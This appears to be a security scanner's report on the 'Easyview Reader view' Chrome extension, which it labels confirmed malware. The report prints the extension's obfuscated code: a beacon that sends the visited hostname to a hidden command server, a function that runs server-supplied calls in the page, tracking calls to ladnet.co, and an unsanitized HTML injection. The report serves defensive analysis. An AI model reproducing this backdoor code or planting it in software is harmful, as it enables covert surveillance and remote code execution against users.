Security Alert: Confirmed Malware
Easyview Reader view
ID: icnekagcncdgpdnpoecofjinkplbnocm
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- SaltanssView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Read articles without distractions - use reader view. Make your reading process exceptional.
โEasyviewโ removes clutter, unnecessary styling elements, background, and ads from articles. Features: ๐งฉRead in fullscreen mode ๐งฉRemoves navigation, ads, formatting, etc. ๐งฉHide or show additional links and pictures ๐งฉChange text size and theme โEasyviewโ allows you to enjoy your favorite articles without distractions and without having to exit your browser!
The fr() function is heavily obfuscated and constructs a URL by concatenating string fragments split across multiple closure-scoped variables, appending vT (document.location.host, the user's current hostname), then uses window.fetch to beacon this data to a remote C2-like endpoint. The response JSON is passed directly to Ip(), which uses it to dynamically execute callbacks against top (the page's global window), enabling the remote server to push and execute arbitrary code in the browsing context of any page the user visits.
async function fr() { const cH = localStorage, Pk = undefined, Se = Ke ? "po" + Mk.substring(53, 58) + "l" : pf, am = Date.now(); let DL = cH.getItem(Se); var qY = "fg", Em; const lS = bJ ? 783062175 : Kx; var BL; if (Ke ? !DL : am) DL = lS - am, await cH.setItem(Se, DL); else { const cH = lS - DL; let Pk; const Kx = Ke ? am - cH : Mk; if (Kx < 0 || Kx > 91572036) { const Pk = "m/"; let Kx = "ar", am = pf ? "as" : pf; var Aw = bJ ? "//" : Mk; let DL = "htt" + xl.substring(162, 165) + Aw + Mk.substring(47, 50) + am + "e" + Kx + "ch" + uc + wY + "co" + Pk + "c" + (qY + (Ke ? "/" : QZ)); DL += vT + "/" + Se + Mk.substring(12, 17); const Em = await window[(bJ ? "f" : cH) + (tO + "ch")](DL); if (Em.ok) { const cH = undefined; Ip(await Em.json()) } } }}Ip() takes JSON fetched from the remote server and iterates over its entries, resolving property paths on top (the page window) via KA() and then calling .apply() with attacker-controlled arguments parsed from JSON. This constitutes a remote code execution backdoor: the C2 server can instruct the extension to invoke arbitrary browser or window APIs with arbitrary parameters on any tab the user has open, across all URLs due to the <all_urls> permission.
function Ip(cH) { let tO, Pk; const Kx = []; for (const [tO, Pk] of Object.entries(cH)) tO.length <= 4 || Kx.push([Pk, tO]); Kx.reverse(); const Ke = top; for (const [cH, Mk] of Kx) { var xl = KA(Ke, Mk.substring(0, Mk.lastIndexOf("."))); var pf = KA(Ke, Mk); if (Pk) { const Kx = JSON.parse(cH); tO.bind(Pk, (cH => { pf.apply(xl, [cH, Kx[0], () => { Ac.runtime.lastError }]) }))() } tO = pf, Pk = xl }}The background script dynamically creates and injects a script element that loads analytics.js from https://www.google-analytics.com/analytics.js at runtime, using GA tracking ID UA-211012684-1. It explicitly sets checkProtocolTask to null to suppress the protocol safety check, allowing it to fire from an extension background page. This remote script load was deliberately permitted by the manifest's content_security_policy whitelisting https://www.google-analytics.com in script-src.
window.ga = window.ga || function() { (ga.q = ga.q || []).push(arguments) }, ga.l = +new Date, ga("create", "UA-211012684-1", "auto"), ga("set", "checkProtocolTask", null), ga("send", { hitType: "pageview", page: "/background" }), function() { const cH = document.createElement("script"); cH.type = "text/javascript", cH.async = !0, cH.src = "https://www.google-analytics.com/analytics.js"; const tO = document.getElementsByTagName("script")[0]; tO.parentNode.insertBefore(cH, tO) }()The entire background.js is a single-character-variable, heavily obfuscated self-invoking bundle that reconstructs URLs and API call targets at runtime by concatenating substring fragments from closed-over strings. This deliberate obfuscation hides the malicious fr() beacon and Ip() remote execution logic from static analysis and Chrome Web Store review, and is a strong indicator of intentional malware packaging rather than routine minification.
! function() { function cH(tO, Pk, Kx) { function Ke(pf, Mk) { if (!Pk[pf]) { if (!tO[pf]) { var Se = "function" == typeof require && require; if (!Mk && Se) return Se(pf, !0); if (xl) return xl(pf, !0); var am = new Error("Cannot find module '" + pf + "'"); throw am.code = "MODULE_NOT_FOUND", am } var uc = Pk[pf] = { exports: {} }; tO[pf][0].call(uc.exports, (function(cH) { var Pk; return Ke(tO[pf][1][cH] || cH) }), uc, uc.exports, cH, tO, Pk, Kx) } return Pk[pf].exports } for (var xl = "function" == typeof require && require, pf = 0; pf < Kx.length; pf++) Ke(Kx[pf]); return Ke } return cH}()The background script captures document.location.host into vT and appends it to the obfuscated beacon URL constructed in fr(), meaning each beacon transmission includes the hostname of the page the user is currently visiting. Combined with the extension's <all_urls> content script injection on every page, this enables the operator to build a detailed browsing history profile for each of the 2.7M+ users.
const vT = document.location.host;The reader view directly interpolates article.content (raw HTML extracted from the target page by Readability) into a template literal and writes it into an iframe via contentDocument.write() without any sanitization. If the source page contains malicious HTML or JavaScript in its article body, it is injected into a chrome-extension:// origin iframe, which runs in a privileged context. Given the extension has <all_urls> access and injects into every page, this creates a reflected content injection risk from attacker-controlled pages.
const render = () => chrome.runtime.sendMessage({ cmd: "read-data"}, (cH => { (article = cH) || (history.length ? history.back() : window.alert("Cannot access")), iframe.contentDocument.open(); const tO = `<!DOCTYPE html><html><head>...</head><body> <a id="reader-domain" href="${article.url}">${new URL(article.url).hostname}</a> <h1 dir="auto" id="reader-title">${article.title||"Unknown Title"}</h1> <div dir="auto" id="reader-credits">${article.byline||""}</div> <div dir="auto" id="reader-estimated-time">${article.readingTimeMinsFast}-${article.readingTimeMinsSlow} minutes</div> <hr/> ${article.content} <span></span> </body></html>`; iframe.contentDocument.write(tO), iframe.contentDocument.close()}))On installation the extension opens a tab to https://ladnet.co/{extensionId}/thanks.html, transmitting the extension's runtime ID to the third-party domain ladnet.co. The uninstall URL similarly phones home with the runtime ID, allowing the operator to track individual extension install and uninstall events across 2.7M+ users.
chrome.runtime.onInstalled.addListener((async cH => { "install" === cH.reason && chrome.tabs.create({ url: `https://ladnet.co/${chrome.runtime.id}/thanks.html` })})), chrome.runtime.setUninstallURL(`https://ladnet.co/${chrome.runtime.id}/uninstall.html`)The reader page dynamically injects a CSS @import rule that loads fonts from https://fonts.googleapis.com for every page the user opens in reader mode, causing Google's servers to receive the user's IP address and reading activity. This is a passive tracking mechanism reinforced by the extension's <all_urls> content script injection and the manifest CSP explicitly whitelisting https://www.google-analytics.com.
styles.internals.textContent = `@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Sans:wght@400;500;700&family=IBM+Plex+Serif:wght@400;500;700&family=Montserrat:wght@400;700&family=Zilla+Slab:wght@400;500&display=swap');The reader HTML page loads Font Awesome 4.7.0 from cdnjs.cloudflare.com without a Subresource Integrity (SRI) integrity attribute, meaning the CDN could serve a tampered stylesheet. It also unconditionally loads a Google Fonts stylesheet from fonts.googleapis.com, leaking the user's IP address and reading context to Google on every reader-mode page view, complementing the active GA tracking in background.js.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous"> <link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Sans&display=swap" rel="stylesheet">By severity
Versions scanned
Showing 3 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.8.3 | 12 |
| 0.8.2 | 9 |
| 0.8.1 | 3 |
Files with findings
5 distinct paths โ top paths by unique finding count:
- background.js13
- reader/reader.js6
- reader/index.html3
- content.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.